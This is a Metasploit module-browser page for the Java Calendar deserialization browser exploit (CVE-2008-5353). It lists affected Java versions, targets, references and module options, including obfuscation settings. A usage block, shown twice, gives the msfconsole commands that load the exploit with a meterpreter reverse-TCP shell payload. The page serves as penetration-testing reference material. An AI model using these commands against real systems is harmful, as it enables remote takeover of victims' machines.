Browse Exploit & Auxiliary Modules
The Metasploit Project hosts the world's largest database of quality assured exploits, including hundreds of remote exploits, auxiliary modules, and payloads. You can even review the Metasploit Framework source code of any module - or write your own.
Search for modules
Sun Java Calendar Deserialization Exploit
This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM. The payload can be either a native payload which is generated as an executable and dropped/executed on the target or a shell from within the Java applet in the target browser. The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16 and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).
Rank
- Excellent
Authors
- sf < stephen_fewer [at] harmonysecurity.com >
- hdm < hdm [at] metasploit.com >
References
- CVE-2008-5353
- OSVDB-50500
- http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html
- http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html
- http://blog.cr0.org/2009/05/write-once-own-everyone.html
- http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1
Exploit Targets
- 0 - Generic (Java Payload) (default)
- 1 - Windows x86 (Native Payload)
- 2 - Mac OS X PPC (Native Payload)
- 3 - Mac OS X x86 (Native Payload)
- 4 - Linux x86 (Native Payload)
Development
Similar Modules
- exploit/multi/browser/firefox_escape_retval
- exploit/multi/browser/firefox_queryinterface
- exploit/multi/browser/itms_overflow
- exploit/multi/browser/java_getsoundbank_bof
- exploit/multi/browser/java_rhino
- exploit/multi/browser/java_rmi_connection_impl
- exploit/multi/browser/java_setdifficm_bof
- exploit/multi/browser/java_signed_applet
- exploit/multi/browser/java_trusted_chain
- exploit/multi/browser/mozilla_compareto
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/multi/browser/java_calendar_deserialize
msf exploit(java_calendar_deserialize) > show payloads
msf exploit(java_calendar_deserialize) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(java_calendar_deserialize) > set LHOST [MY IP ADDRESS]
msf exploit(java_calendar_deserialize) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/multi/browser/java_calendar_deserialize
msf exploit(java_calendar_deserialize) > show payloads
msf exploit(java_calendar_deserialize) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(java_calendar_deserialize) > set LHOST [MY IP ADDRESS]
msf exploit(java_calendar_deserialize) > exploit
Module Options
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The local port to listen on. (default: 8080) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| URIPATH | The URI to use for this exploit (default is random) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EXE::Custom | Use custom exe instead of automatically generating a payload exe |
| EXE::FallBack | Use the default template in case the specified one is missing |
| EXE::Inject | Set to preserve the original EXE function |
| EXE::OldMethod | Set to use the substitution EXE generation method. |
| EXE::Path | The directory in which to look for the executable template |
| EXE::Template | The executable template file name. |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| HTML::base64 | Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection) |
| HTML::javascript::escape | Enable HTML obfuscation via HTML escaping (number of iterations) |
| HTML::unicode | Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be) |
| HTTP::chunked | Enable chunking of HTTP responses via "Transfer-Encoding: chunked" |
| HTTP::compression | Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate) |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::junk_headers | Enable insertion of random junk HTTP headers |
| HTTP::server_name | Configures the Server header of all outgoing replies |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |